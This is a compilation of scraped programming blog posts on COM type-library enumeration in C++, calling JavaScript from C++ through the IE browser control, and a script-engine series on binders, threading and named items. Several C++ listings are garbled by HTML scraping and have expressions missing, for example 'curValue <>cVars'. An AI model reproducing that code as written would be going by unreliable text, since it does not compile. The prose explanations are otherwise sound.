UINT infoCount(pTypeLib->GetTypeInfoCount());
for(UINT curEnum(0); curEnum < infoCount; ++curEnum) {
TYPEKIND typeKind;
hr = pTypeLib->GetTypeInfoType(curEnum, &typeKind);
if(hr || typeKind != TKIND_ENUM) continue;

CComPtr pTypeInfo;
hr = pTypeLib->GetTypeInfo(curEnum, &pTypeInfo);
if(hr) { std::cout<< "Failure getting type info\n\n"; return; }

TYPEATTR* typeAttr;
hr = pTypeInfo->GetTypeAttr(&typeAttr);
if(hr) { std::cout<< "Failure getting type attr\n\n"; return; }
CComBSTR name;
hr = pTypeInfo->GetDocumentation(-1, &name, 0, 0, 0);
std::wcout<< color="#ff0000">"\n";

for(UINT curValue(0); curValue <>cVars; ++curValue) {
VARDESC* varDesc;
hr = pTypeInfo->GetVarDesc(curValue, &varDesc);
if(hr) { std::cout<< "Failure getting var desc\n\n"; return; }
std::cout<< '\t'<< color="#ff0000">'\n';
pTypeInfo->ReleaseVarDesc(varDesc);
}
pTypeInfo->ReleaseTypeAttr(typeAttr);
}
}

Again, we are loading the Windows Media Player type library (although any type library with enums would suffice). After we confirm that the type library index refers to an enum (with ITypeLib::GetTypeInfoType), we ITypeLib::GetTypeInfo to procure the appropriate type description interface pointer. Next we print the name of the enum (ITypeInfo::GetDocumentation, passing -1). We retrieve the TYPEATTR of the enum, and loop through all values of the type, each time passing the ITypeInfo::GetVarDesc produced structure to stringifyVarDesc and outputting the result. Here is a screenshot (the "-- More --" prompt is due to the |more filter):

Great. It worked great. I promised that with just a single modification, this code would also display all the structures in a type library, as well as all the enums. Well, here you go. It's the same source but with the check for TKIND_ENUM replaced by TKIND_RECORD (record and struct are interchangeable terms in Automation).

#include
#include
#include
#include

// print out all the structs and their elements in a type library

void main() {
HRESULT hr(CoInitialize(0));
if(hr) { std::cout<< "No COM... This is embarassing.\n\n"; return; }

CComPtr pTypeLib;
hr = LoadTypeLib(L"C:\\Windows\\System\\dx3j.dll", &pTypeLib);
if(hr) { std::cout<< "Couldn't load the library :(\n\n"; return; }

UINT infoCount(pTypeLib->GetTypeInfoCount());
for(UINT curStruct(0); curStruct < infoCount; ++curStruct) {
TYPEKIND typeKind;
hr = pTypeLib->GetTypeInfoType(curStruct, &typeKind);
if(hr || typeKind != TKIND_RECORD) continue; // this is the only
// non-trivial change!
CComPtr pTypeInfo;
hr = pTypeLib->GetTypeInfo(curStruct, &pTypeInfo);
if(hr) { std::cout<< "Failure getting type info\n\n"; return; }

TYPEATTR* typeAttr;
hr = pTypeInfo->GetTypeAttr(&typeAttr);
if(hr) { std::cout<< "Failure getting type attr\n\n"; return; }
CComBSTR name;
hr = pTypeInfo->GetDocumentation(-1, &name, 0, 0, 0);
std::wcout<< color="#ff0000">"\n";

for(UINT curValue(0); curValue <>cVars; ++curValue) {
VARDESC* varDesc;
hr = pTypeInfo->GetVarDesc(curValue, &varDesc);
if(hr) { std::cout<< "Failure getting var desc\n\n"; return; }
std::cout<< '\t'<< color="#ff0000">'\n';
pTypeInfo->ReleaseVarDesc(varDesc);
}
pTypeInfo->ReleaseTypeAttr(typeAttr);
}
}

The specified file is the Direct X 3 for Java distributable. Goofy, I know, but it has a lot of structures:

Compiling the program and testing for TKIND_ALIAS will display all the unions in the type library (I'll spare you the screenshot). This is pretty useful code. Let's try to display all the typedefs in a type library.

#include
#include
#include
#include

// print out all the typedefs in a type library

void main() {
HRESULT hr(CoInitialize(0));
if(hr) { std::cout<< "No COM... This is embarassing.\n\n"; return; }

CComPtr pTypeLib;
hr = LoadTypeLib(L"D:\\Program Files\\Visio\\VisLib32.dll", &pTypeLib);
if(hr) { std::cout<< "Couldn't load the library :(\n\n"; return; }

UINT infoCount(pTypeLib->GetTypeInfoCount());
for(UINT curTypedef(0); curTypedef < infoCount; ++curTypedef) {
TYPEKIND typeKind;
hr = pTypeLib->GetTypeInfoType(curTypedef, &typeKind);
if(hr || typeKind != TKIND_ALIAS) continue;

CComPtr pTypeInfo;
hr = pTypeLib->GetTypeInfo(curTypedef, &pTypeInfo);
if(hr) { std::cout<< "Failure getting type info\n\n"; return; }

TYPEATTR* typeAttr;
hr = pTypeInfo->GetTypeAttr(&typeAttr);
if(hr) { std::cout<< "Failure getting type attr\n\n"; return; }

std::cout<< "typedef "<<
stringifyTypeDesc(&typeAttr->tdescAlias, pTypeInfo)<< ' ';

CComBSTR name;
hr = pTypeInfo->GetDocumentation(-1, &name, 0, 0, 0);
if(hr) std::cout<< "UnknownTypedefName\n";
else std::wcout<< color="#ff0000">"\n";
pTypeInfo->ReleaseTypeAttr(typeAttr);
}
}

The TKIND_ALIAS type kind indicates description of a typedef. The name of the typedef is the name of the type (acquired through GetDocumentation), and the alias type is TYPEATTR::tdescAlias. We sent this TYPEDESC instance through stringifyTypeDesc to produce the stringified alias. The following screen shot displays the typedefs of the Visio 5.0 type library.

We've now covered the variable types: structure, union, enum, and typedef. It's now time to get back to our original problem; that is, how to enumerate the methods and properties exposed by an interface.

The COM type description API includes two jumbo structures for retrieving information. We've met one already: VARDESC. The other structure is called FUNCDESC and is used to retrieve information about COM methods.

from OAIDL.IDL

typedef struct tagFUNCDESC {
MEMBERID memid;
[size_is(cScodes)] SCODE * lprgscode;
[size_is(cParams)] ELEMDESC * lprgelemdescParam; /* array of param types */
FUNCKIND funckind;
INVOKEKIND invkind;
CALLCONV callconv;
SHORT cParams;
SHORT cParamsOpt;
SHORT oVft;
SHORT cScodes;
ELEMDESC elemdescFunc;
WORD wFuncFlags;
} FUNCDESC, * LPFUNCDESC;

With an ITypeInfo pointer describing an interface or dispinterface, a FUNCDESC structure can be acquired with the ITypeInfo::GetFuncDesc method. Like VARDESCs and TYPEATTRs, FUNCDESCs need to be explicitly released with the method ITypeInfo::ReleaseFuncDesc. An interface is a group of methods, so each interface type description exposes one or more FUNCDESCs. Invoke ITypeInfo::GetTypeAttr to retrieve an TYPEATTR structure; TYPEATTR::cFuncs is the number of methods the interface supports, so passing an index between 0 and TYPEATTR::cFuncs - 1 to ITypeInfo::GetFuncDesc retrieves the appropriate function description.

FUNCDESC::memid is the DISPID of the method. IDispatch::GetIDsOfNames often delegates to ITypeInfo::GetIDsOfNames, which returns this very value upon a match. FUNCDESC::invkind holds a value of the INVOKEKIND enumerator. While the values are single bits, they are not flags. If a single method has a INVOKE_PROPERTYGET, INVOKE_PROPERTYPUT, and INVOKE_PROPERTYPUTREF version, each one will have its own index in the type description. The FUNCKIND and CALLCONV elements should not cause anyone much grief: the function kind is determined by the type of interface (dispatch or virtual), as is indicated by TYPEATTR::typekind; if the calling convention is not CC_STDCALL, the object implementor has already been excommunicated from the Church of COM and put to death by means of trash compactor.

FUNCDESC::wFuncFlags holds a value of the FUNCFLAGS enumerator. These flags control how a method should be presented to a type browser. While these attributes have some value, the most important attributes are set at an interface-wide level; check TYPEATTR::wTypeFlags. FUNCDESC::cScodes specifies the number of permitted return values. The actual return codes are stored in the lprgscode array. An important property about dispatch and dual interface methods is that they should not return custom error codes. If a method fails, a COM exception should be set through the EXCEPINFO parameter of IDispatch::Invoke. cScodes will almost always be zero, and the corresponding array empty. FUNCDESC::oVft specifies the function's offset in the virtual table, for those Automation controllers implementing their own vcall thunks. Naturally, only depend on this value for TKIND_INTERFACE methods.

There are three very important elements in FUNCDESC: elemdescFunc, cParams, and lprgelemdescParam. elemdescFunc is an ELEMDESC instance holding the return value type. We can pass elemdescFunc.tdesc to our method stringifyTypeDesc (presented above) to acquire a string representation. For TKIND_DISPATCH methods, this is not the actual return value, but the parameter with the [retval] attribute. For TKIND_INTERFACE methods, this is the actual return value, usually HRESULT.

FUNCDESC::cParams specifies the number of parameters the function takes (cParamsOpt specifies the number of optional parameters, but as we'll see in a bit, this is just a convienence). Indexing from 0 to cParams - 1 into the lprgelemdescParam array gives the ELEMDESC instance for the appropriately ordered parameter. We could just feed lprgelemdescParam[i].tdesc to our stringifyTypeDesc procedure, but we'd be missing out on so much important information.

from OAIDL.IDL

typedef struct tagELEMDESC {
TYPEDESC tdesc; /* the type of the element */
PARAMDESC paramdesc; /* IDLDESC is a subset of PARAMDESC */
} ELEMDESC;

typedef struct tagPARAMDESC {
LPPARAMDESCEX pparamdescex; /* valid if PARAMFLAG_FHASDEFAULT bit is set */
USHORT wParamFlags; /* IN, OUT, etc */
} PARAMDESC, * LPPARAMDESC;

typedef struct tagPARAMDESCEX {
ULONG cBytes; /* size of this structure */
VARIANTARG varDefaultValue; /* default value of this parameter */
} PARAMDESCEX, * LPPARAMDESCEX;

The TYPEDESC is only half of the ELEMDESC structure. We touched on the PARAMDESC element a few pages back, but now it's time to hammer on it. PARAMDESC::wParamFlags holds the PARAMFLAG_XXXX values. These translate almost directly to similarly named MIDL parameter attributes. Notice PARAMFLAG_FOPT - this indicator of an optional function is far more helpful than FUNCDESC::cParamsOpt count (who cares about how many; I'd rather know which ones). The PARAMFLAG_FRETVAL attribute is rather interesting; you'll only see it on TKIND_INTERFACE methods. Dispatch interface methods move the [retval] parameter to the FUNCDESC::elemdescFunc item.

If the PARAMFLAG_FOPT and PARAMFLAG_FHASDEFAULT attributes are defined, your parameter has a default value. In this case, PARAMDESC::pparamdescex is nonzero, pointing to a PARAMDESCEX instance. PARAMDESCEX::varDefaultValue is your parameter's default value. Because parameters can be passed by reference (indicated by the VT_BYREF flag), a VARIANTARG structure is included in PARAMDESCEX structure.

Shall we complete our assignment and display all the methods exposed by the default interface of a COM object through Type Information?

#include
#include
#include
#include

// print out all the methods in the default interface

void main() {
HRESULT hr(CoInitialize(0));
if(hr) { std::cout<< "No COM... This is embarassing.\n\n"; return; }
CLSID clsid;
hr = CLSIDFromString(L"Shell.Explorer", &clsid);
if(hr) { std::cout<< "Can't find the CLSID in the registry\n\n"; return; }
CComPtr pSlider;
hr = CoCreateInstance(clsid, 0, CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER,
IID_IDispatch, (void**)&pSlider);
if(hr) { std::cout<< "Can't CoCreateInstance the object\n\n"; return; }
CComPtr pTypeInfo;
hr = pSlider->GetTypeInfo(0, 0, &pTypeInfo);
if(hr) { std::cout<< "Object doesn't supply type info\n\n"; return; }
TYPEATTR* typeAttr;
pTypeInfo->GetTypeAttr(&typeAttr);
CComBSTR interfaceName;
hr = pTypeInfo->GetDocumentation(-1, &interfaceName, 0, 0, 0);
if(hr) std::cout<< "Unknown default interface:\n";
else std::wcout<< color="#ff0000">":\n";
for(UINT curFunc(0); curFunc <>cFuncs; ++curFunc) {
FUNCDESC* funcDesc;
hr = pTypeInfo->GetFuncDesc(curFunc, &funcDesc);
CComBSTR methodName;
hr |= pTypeInfo->GetDocumentation(funcDesc->memid, &methodName, 0, 0, 0);
if(hr) { std::cout<< "Error In Name\n";
pTypeInfo->ReleaseFuncDesc(funcDesc); continue; }

std::cout<< '\t'<<>elemdescFunc.tdesc,
pTypeInfo)<< ' ';
std::wcout<< color="#ff0000">"(";
for(UINT curParam(0); curParam <>cParams; ++curParam) {
std::cout<< stringifyTypeDesc(
&funcDesc->lprgelemdescParam[curParam].tdesc, pTypeInfo);
if(curParam <>cParams - 1) std::cout<< ", ";
}
std::cout<< ')';
switch(funcDesc->invkind) {
case INVOKE_PROPERTYGET: std::cout<< " propget"; break;
case INVOKE_PROPERTYPUT: std::cout<< " propput"; break;
case INVOKE_PROPERTYPUTREF: std::cout<< " propputref"; break;
}
std::cout<< '\n';
pTypeInfo->ReleaseFuncDesc(funcDesc);
}
pTypeInfo->ReleaseTypeAttr(typeAttr);
}

Here we ouput the methods (and their parameters) of a default interface. Funny that Shell.Explorer's default interface is IWebBrowser2. Apparently no one at the Department of Justice has ever written their own COM Type Info browser. After grabbing the FUNCDESC structure from invoking ITypeInfo::GetFuncDesc on our default interface's type description, we output stringifyTypeDesc on FUNCDESC::elemdescFunc.tdesc. Calling ITypeInfo::GetDocumentation on a method's MEMBERID (the DISPID) retrieves the name of the method. ITypeInfo::GetNames will also serve this purpose. We output this name, and then enter a for loop, invoking stringifyTypeDesc on each parameter's ELEMDESC::tdesc. Finally, we append the invoke kind to the end of the method (INVOKE_FUNC is implicit).

By now you have a good understanding of the COM type description interfaces. You can literally walk down the street, and laugh at every person you see saying "I know the COM type description interfaces better than you" and be right. Although, don't head for the door yet! There is one last lesson: the coclass.

The coclass is the most important item encoded in type libraries. Without instantiatable types, COM is worthless. Think back to the TYPEATTR definition. For an interface type description, TYPEATTR::cImplTypes held the number of immediate base interfaces. The ITypeInfo::GetRefTypeOfImplType method was invoked to resolve the HREFTYPE of the base interface. The HREFTYPE was then fed to ITypeInfo::GetRefTypeInfo, which produced a new ITypeInfo pointer, this one referring to the base interface. Why do i bring this up now? The exact same mechanism is used to acquire implemented interfaces of coclasses. Check out this program that displays a type library's coclasses and their interfaces.

#include
#include
#include
#include

// print out all the coclasses and their interfaces

void main() {
HRESULT hr(CoInitialize(0));
if(hr) { std::cout<< "No COM... This is embarassing.\n\n"; return; }
CComPtr pTypeLib;
hr = LoadTypeLib(L"C:\\Windows\\System\\Shdocvw.dll", &pTypeLib);
if(hr) { std::cout<< "Couldn't load type lib *cry*\n\n"; return; }
UINT infoCount(pTypeLib->GetTypeInfoCount());
for(UINT curCoClass(0); curCoClass < infoCount; ++curCoClass) {
TYPEKIND typeKind;
hr = pTypeLib->GetTypeInfoType(curCoClass, &typeKind);
if(hr || typeKind != TKIND_COCLASS) continue;
CComBSTR coClassName;
hr = pTypeLib->GetDocumentation(curCoClass, &coClassName, 0, 0, 0);
if(hr) continue;
std::wcout<< color="#ff0000">":\n";
CComPtr pTypeInfo;
hr = pTypeLib->GetTypeInfo(curCoClass, &pTypeInfo);
if(hr) { std::cout<< "\tProblem with CoClass\n\n"; continue; }
TYPEATTR* typeAttr;
hr = pTypeInfo->GetTypeAttr(&typeAttr);
if(hr) { std::cout<< "\tCouldn't get TYPEATTR\n\n"; continue; }
for(UINT curInterface(0); curInterface <>cImplTypes; ++curInterface) {
HREFTYPE hRefType;
hr = pTypeInfo->GetRefTypeOfImplType(curInterface, &hRefType);
if(hr) continue;
CComPtr pInterfaceInfo;
hr = pTypeInfo->GetRefTypeInfo(hRefType, &pInterfaceInfo);
if(hr) continue;
CComBSTR interfaceName;
hr = pInterfaceInfo->GetDocumentation(-1, &interfaceName, 0, 0, 0);
if(hr) std::cout<< "ErrorInInterfaceName\n";
else std::wcout<< color="#ff0000">"\t"<< color="#ff0000">"\n";
}
pTypeInfo->ReleaseTypeAttr(typeAttr);
std::cout<< '\n';
}
}

Wow. That was really easy. Just like grabbing base interfaces. We are browing the internet controls type library. Let's see what we've got:

Very interesting... Each coclass exposes two interfaces, and two source interfaces (the 'D' prefix generally signifies that the interface is a dispatch only interface, and therefore a source interface to be connected to through IConnectionPointContainer). Well, now we've covered coclasses, (disp)interfaces, unions, structures, and typedefs. That pretty much does it for the COM type description interfaces. Now go forth and write your own Automation controller! (After reading Part III of this article of course - we build our own GUI type browser.)

Part III

CodeGuru: JavaScript Calls from C++

2008-11-10T00:39:00.000-08:00

CodeGuru: JavaScript Calls from C++
JavaScript Calls from C++
Rating:

Eugene Khodakovsky (view profile)
October 25, 2002

(continued)

Click here for a larger image.

Environment: VC++ 6.0, NT 4.0, Win2000, Win95/98

Introduction

Sometimes, when we are using the IE Browser Control inside of a C++ application, we need to access the HTML elements. We can do it by using standard COM objects such as IWebBrowser2, IHTMLDocument2, and so forth. By doing this, we easily can implement features such as click button, click anchor, get input string, get HTML text, and so on. Unfortunately, Microsoft did not provide similar objects for JavaScript. In any case, it is possible to make a control for the JavaScript object inside an HTML page by using a traditional COM approach. This article describes the class CWebPage that allows you to do it and a technique to call a JavaScript function from C++ code.

How to Do This

As the result of using the presented class, it will be easy to call any JavaScript function from C++ code. To implement this feature, we should get a pointer to the IHTMLDocument2 interface. If we are using the CHtmlView class from MFC, we can get one by using member function CHtmlView::GetHtmlDocument(). In the case of using the IWebBrowser or IWebBrowser2 components, the function get_Document will bring us the desired interface. Here is an example:

CComPtr spDisp = CHtmlView::GetHtmlDocument();
m_webPage.SetDocument(spDisp);

The rest of the things will be done by the CWebPage class. Here is an example of a JavaScript call without parameters.

m_webPage.CallJScript("Welcome");

The example of the JavaScript call with two parameters will look like this:

m_webPage.CallJScript("Miltiply","2.34","3.32");

The Class Implementation

class CWebPage
{
public:
 CWebPage();
 virtual ~CWebPage();

 bool SetDocument(IDispatch* pDisp);
 LPDISPATCH GetHtmlDocument() const;
 const CString GetLastError() const;
 bool GetJScript(CComPtr& spDisp);
 bool GetJScripts(CComPtr& spColl);
 CString ScanJScript(CString& strAText,CStringArray& args);

 bool CallJScript(const CString strFunc);
 bool CallJScript(const CString strFunc,const CString strArg1);
 bool CallJScript(const CString strFunc,const CString strArg1,
                  const CString strArg2);
 bool CallJScript(const CString strFunc,const CString strArg1,
                  const CString strArg2,const CString strArg3);
 bool CallJScript(const CString strFunc,const
                        CStringArray& paramArray);

protected

 CComPtr m_spDoc;

};

Calling Technique

The previously mentioned technique splits the following steps:

Getting a pointer to the IHTMLDocument2 interface.
Getting IDispatch for a JavaScript object in an HTML document.
Getting DISPID for a given name of a JavaScript function.
Putting parameters to the DISPPARAM structure.
Calling a JavaScript function by using the Invoke method of the IDispatch interface.

Here is an example of getting a IDispatch pointer to the Java Scripts objects:

bool CWebPage::GetJScript(CComPtr& spDisp)
{
 HRESULT hr = m_spDoc->get_Script(&spDisp);
 ATLASSERT(SUCCEEDED(hr));
 return SUCCEEDED(hr);
}

And here is the final function to call JavaScript:

CComVariant CWebPage::CallJScript(const CString strFunc,
                                 const CStringArray&
                                       paramArray)
{
 //Getting IDispatch for Java Script objects
 CComPtr spScript;
 if(!GetJScript(spScript))
 {
   ShowError("Cannot GetScript");
   return false;
 }
 //Find dispid for given function in the object
 CComBSTR bstrMember(strFunc);
 DISPID dispid = NULL;
 HRESULT hr = spScript->GetIDsOfNames(IID_NULL,&bstrMember,1,
                        LOCALE_SYSTEM_DEFAULT,&dispid);
 if(FAILED(hr))
 {
   ShowError(GetSystemErrorMessage(hr));
   return false;
 }

 const int arraySize = paramArray.GetSize();
 //Putting parameters
 DISPPARAMS dispparams;
 memset(&dispparams, 0, sizeof dispparams);
 dispparams.cArgs      = arraySize;
 dispparams.rgvarg     = new VARIANT[dispparams.cArgs];
 dispparams.cNamedArgs = 0;

 for( int i = 0; i < arraySize; i++)
 {
   CComBSTR> bstr = paramArray.GetAt(arraySize - 1 - i);
             // back reading
   bstr.CopyTo(&dispparams.rgvarg[i].bstrVal);
   dispparams.rgvarg[i].vt = VT_BSTR;
 }
 EXCEPINFO excepInfo;
 memset(&excepInfo, 0, sizeof excepInfo);
 CComVariant vaResult;
 UINT nArgErr = (UINT)-1;      // initialize to invalid arg
 //Call JavaScript function
 hr = spScript->Invoke(dispid,IID_NULL,0,
                       DISPATCH_METHOD,&dispparams,
                       &vaResult,&excepInfo,&nArgErr);
 delete [] dispparams.rgvarg;
 if(FAILED(hr))
 {
   ShowError(GetSystemErrorMessage(hr));
   return false;
 }
 return vaResult;
}

Notes About the Demo

To call a JavaScript function from the demo, you should select the function in the tree of the left window. After this, press the ! button on the menu bar.

Downloads

Download demo project - 34 Kb
Download source - 3 Kb

Fabulous Adventures In Coding : SimpleScript

2008-11-09T22:21:00.000-08:00

Fabulous Adventures In Coding : SimpleScript

Tags: SimpleScript

SimpleScript Part Seven: Binder Skeleton
2004年5月4日 22:51

In Part Five I was discussing modules: there is a "global module" and any number of additional modules. Each module is associated with a named item, and the only module which is associated with more than one named item is the global module. This means that each module is going to need its own name table to keep track of the functions, the variable names and values, etc, in it. We'll call such devices "binders" because they bind names to values.

For reasons which will become more clear in future episodes, it is convenient to have the binder implement the IDispatch interface. Normally if you had to implement IDispatch you'd build a type library, and then have your implementation of IDispatch call through to the ITypeInfo methods which look up dispatch ids, invoke methods, and so on. There's a good reason for that: rolling your own IDispatch code can be extremely tricky. But, we're pretty much stuck with it here -- we haven't got the convenience of a known vtable interface to wrap a type library around at compile time. The script engine name tables are going to be extremely dynamic, so we're going to have to roll our own IDispatch.

The code isn't nearly done yet, obviously, but I've got a good skeleton in place. Take a look at binder.cpp for the details. I've pretty much got the high-level semantics of the dispatch interface worked out, but the actual low-level implementation details all return E_NOTIMPL. What I need to build here is a special hash table which can efficiently look up values by both numeric id and name. That's not too challenging; what is going to be more difficult is implementing the SCRIPTITEM_GLOBALMEMBERS feature. We need to be able to add another arbitrary dispatch object to our binder and dynamically aggregate all of its methods, without causing any collision in dispatch ids!

Default property semantics are a little weird. In the wacky world of late bound objects, an object may have a "default" method. This feature was created so that you could call the Item method of a collection the same way you dereference an array in Visual Basic -- you make it look like a function call. That is, since this code works:

Dim arr(10)arr(1) = 123

then so should this code

dict = CreateObject("Scripting.Dictionary")dict(1) = 123

the last line is the same as

dict.item(1) = 123

Such is the wackiness of VB -- because the array dereference and function call syntax are conflated, they ended up making function calls on invisible methods be legal on the left hand side of an assignment statement. The mind fairly boggles. We'll be good citizens in SimpleScript. If we have an object in our binder and someone attempts to call it, we'll just pass on the arguments to its default method and let it sort out what the right thing to do is.

As you can see, there is a whole lot of parameter validation, and altogether about eleven separate cases that I cover in the implementation of Invoke. The actual implementation in VBScript and JScript is much, much more complex than this because they support IDispatchEx, garbage collection, property accessor functions, and numerous other features that complicate the code. But still, this is the longest function you're likely to see me write in this project; I'll be very surprised if I write any code more complicated than the dispatch logic.

Speaking of garbage collection, I'm not quite sure what kind of garbage collector I'm going to build into SimpleScript. Building a mark-and-sweep collector like JScript has would be instructive, but it would also take a lot of time and effort. What do you guys think? (If you look at invoke.cpp you'll see that I'm thinking ahead about issues we're going to run into in garbage collection. We're going to run into related issues in the script execution code; it is possible for ill-behaved hosts to shut down the script engine in a callback while it is executing! We need to be robust in the face of such behaviour.)

The next step is to get the actual guts of the binder working, and then build a list of code blocks to be executed when the script engine goes to started state. The clone semantics for the code blocks are a little tricky, so we'll get that straightened away, and then maybe, just maybe, actually write a language parser.
UPDATE: For your convenience, I've put a zip file containing all the sources at http://www.eric.lippert.com/simplescript.zip. I'll keep this zip file updated as I change the sources on the blog.
SimpleScript Part Six: Threading Technicalities
2004年4月27日 8:56

Refresher Course

Before you read this, you might want to take a quick refresher on my original posting on the script engine threading model. That was a somewhat simplified (!) description of the actual script engine contract. Let me just sum up:

free threaded objects can be called from any thread at any time; the object is responsible for synchronizing access to shared resources
apartment threaded objects can have multiple instances on multiple threads but once an object is on a thread, it can only be called from that thread. The caller is responsible for always calling an object on the thread on which it was created. The object is responsible for synchronizing access to resources shared across instances.
rental threaded objects can be called on any thread, but the caller is responsible for ensuring that the object is only called from one thread at a time.
an initialized engine is apartment threaded, with a couple exceptions -- InterruptScriptThread and Clone can both be called from any thread on an initialized engine.
an uninitialized engine is free-threaded

Things Get More Complicated

That's actually not quite right. It would be more accurate to say that an uninitialized engine is rental threaded. Why? Because otherwise it would be legal to do really dumb things like call Close on two different threads at the same time. If you look carefully at the code, you'll see that most of the methods are not robust in the face of full-on multithreading. It's the "the host isn't a bozo" threading model!

This is a ridiculously complex threading contract, I know. From COM's point of view, the script engine is free threaded -- the restrictions are so arcane that clearly the engine has got to be the one enforcing the rules, not COM, which is why you'll see lots of calls to check that the caller is on the right thread in my code.

If you take a look at the registration code, you'll see that I register the script engine as "Both", which means "either free threaded or apartment threaded, we'll sort it out". What the heck is up with that? Why not just call it "free threaded" and be done with it?

Because again, I oversimplified the description of an apartment in my original posting. A single-threaded-apartment (STA) object is created on a thread and is always called on that thread. Think of a person (an object) in a room (a thread) -- you want to talk to them (call a method), you go to their room. You can put as many people in a room as you'd like, and build as many rooms as you'd like, but you want to call a method, you do it from the thread where the callee lives. That's all fine and good.

But there is also a multi-threaded apartment! Imagine that you take some of the rooms and you knock holes in the walls. If you're in one room and you want to talk to someone in another room, you don't have to go there, you can just yell through the hole. The guy listening to you is responsible for synchronizing all the shouting going on, but at least he knows that no one is going to be trying to talk through a wall with no hole in it.
In any given process there is one "main" STA, possibly many more secondary STAs, and one MTA. You can't have two distinct sets of rooms that mutually communicate but don't talk to each other.

I briefly described in an earlier post the way that COM marshals calls "through the walls" from one apartment to another. Well, if we register the script engine as a free threaded object, COM is going to think that it lives in the default MTA, and that any STA objects created by the process live in their own STAs, and therefore, all calls between the two apartments are going to have to be marshaled by the Free Threaded Marshaler. That extra indirection really screws up your performance numbers, lemme tell ya. We register as "both" threaded, and COM says "OK, you sort it out then if you're so smart", which we do by requiring that the host call us on the right thread and give us objects that are on the right thread.

Even that is still a considerable oversimplification -- there's still the Neutral Threaded Apartment that I haven't talked about yet, and the interactions between the CLR threading model and the COM threading model, and how marshaling really works, but that's getting out of my depth. Go ask Christopher Brumme if you've got questions about that stuff.

Honouring Our End Of The Script Engine Contract

Let's take a look at the script engine contract through the example of one of its objects that we've already implemented -- the named item list. There are only four operations that can be performed on the named item list, and we know when they can be performed according to our contract and implementation:

Add can only be called on an initialized engine, and hence only from the engine thread. Add writes to the named item list.
Reset can only be called on an initialized engine as it is being moved to uninitialized state, hence only from the engine thread. Reset writes to the named item list by removing non-persisting entries.
Clear is only called when the engine is going to closed state. The engine might already be in uninitialized state and hence, this can be called on any thread if the engine is uninitialized. However if the engine is initialized then it can only be called from the main engine thread. Clear writes to the named item list by removing all entries.
Clone can be called on any thread, and reads from the named item list.

What then are the possible threading conflicts? The three writers, Add, Reset and Clear cannot be called at the same time on different threads by virtue of the fact that the engine must be initialized if Add or Reset are being called. There are a few cases which for completeness we should get right, but are in reality extremely unlikely. Why would any host be so dumb as to Clone an engine while in the middle of a call to Add? Or worse, Clone during Close? I won't assume that hosts won't pull shens like that, even though they are very unlikely.

What about two Clones at the same time on two different threads? On the one hand, they're only reading, so why should they block? On the other hand, boy, do I ever not want to implement single-writer-multi-reader mutexes just to make that extremely unlikely case marginally faster.

Therefore, we'll do it the easy way. The only thing we really need to worry about practically is one thread doing a Clone while another thread is doing a Reset, but we'll get it right for all the cases. The first thing we'll do when we enter any of those methods is enter a critical section, and the last thing we'll do before we leave is exit it. Rather than mess around with the operating system's somewhat gross critical section code in the object itself, I define a handy object to wrap it. See mutex.cpp for the implementation.

Something to note about this implementation is that it uses InitializeCriticalSectionAndSpinCount to initialize the critical section. The comments there and here are required reading if you need to make critical sections work on heavily loaded pre-Windows-XP boxes. Earlier versions throw exceptions rather than returning error codes, which means that every entry and exit to a critical section has to be protected with __try blocks and you then have to get the exception handling right! The VBScript and JScript engines have all kinds of totally gross code in them to handle the edge case where a heavily loaded server runs out of memory just as a critical section is about to be entered. (Yes, it happens. Every single out-of-memory case will eventually be exercised by a sufficiently loaded server, I know this from painful experience.)
I'm going to skip all that totally gross code here and assume that we all live in the happy world of Windows XP, where the operating system actually returns sensible errors.

I'm still trying to sort out how all this is going to work once code blocks are throw into the mix. I'll try out a few things and see how it goes. More bulletins as events warrant.
SimpleScript Part Five: Named Items and Modules
2004年4月23日 5:29

Named Items

"Named items" are what we call the "top level" objects of the host provided object model. WScript in WSH, window in Internet Explorer, Response in ASP, are all named items. A host tells an initialized script engine about named items via the aptly named AddNamedItem method on the IActiveScript interface.

HRESULT ScriptEngine::AddNamedItem(const WCHAR * pszName, DWORD flags)

A few things should immediately seem a little weird about this interface.

The First Four Flags

First off, what are the flags? There are six. The first four are pretty straightforward:

If SCRIPTITEM_ISVISIBLE is set then the name of the named item is added to the global namespace.

Uh, OK… why would you ever NOT want this set? Didn't I just say that named items were specifically for injecting named object model roots into the engine? What good is a named item if you can't see its name?

That brings us to the second flag; if SCRIPTITEM_GLOBALMEMBERS is set then all (immediate) children of the named item are treated as though they are themselves top-level objects/methods. That's how in Internet Explorer you can say

window.alert("hello");

or

alert("hello");

and they do the same thing. IE tells the script engine that window is a visible named item with global members.

Now it makes a little more sense why you might want to have an invisible named item. What if you had an object with lots of methods and properties that you wanted available in the global namespace, but the object itself didn’t have a sensible name? I can't think of any script host offhand that does that, but the capability is there if you need it.

There's a second reason why you might want a named item to be invisible, but we'll get to that in a minute.

The third flag is SCRIPTITEM_ISSOURCE. If that's set then we know that this object is an event source. If the language supports implicit event binding and the host moves the engine into connected state, we're going to need to know which named items to hook up to which events. It can be very expensive to do that hookup, so this provides a simple optimization. If the host knows that a particular named item does not source events, it can choose to not mark the named item as a source, and we therefore never spend any time trying to hook up event sinks to it.

The fourth flag is SCRIPTITEM_ISPERSISTENT. Recall that I said a while back that when the engine goes back to uninitialized state after being initialized, we throw away "some" named items, where "some" was to be defined later. Now you know -- the engine remembers named items marked as persistent. Information about those named items is not thrown away until the engine is closed. Also, cloning an engine is basically making a copy of the uninitialized state of an engine, so persistent named items get cloned when their engine gets cloned. As we'll see, this fact has implications for our implementation.

Modules

I'm sure you have a general idea of what I mean by a "module", though if you Google define:module you'll see that everyone has a slightly different definition. Modules in the script engine sense are philosophically fairly straightforward. I often want to have some way to say "this collection of functions can play with each other, but are isolated from this other collection of functions". I want to be able to resolve name collisions by having two methods with the same name coexist in different modules.

Well, I want that stuff in languages designed for "programming in the large". When using script languages, more often than not you simply don't need to chunk stuff into modules. But, bizarrely enough, the script engines support modules, and in a pretty goofy way at that. Of course, any language implementor can implement module semantics however they want, but I see no reason to mess around with the de facto standards. Here's how modules work in VBScript and JScript:

There is a "global" module. Procedures defined in the global module are callable from any module. This is where the "built in" methods in VBScript and JScript go.
Every named item is associated with a unique module, with some exceptions:

Named items with global members are associated with the global module.
Named items marked with SCRIPTITEM_NOCODE are not associated with any module
All visible named items are added to the global namespace, except for named items marked as SCRIPTITEM_CODEONLY. Those are just names of modules and are associated with no object.
Important distinction: though all visible named items are added to the global module's namespace, procedures in the named items' modules are not visible from the global module.

Let me try to make this a little more concrete. Let's consider a hypothetical declarative language that supports embedded imperative script. You might want to have something like this:

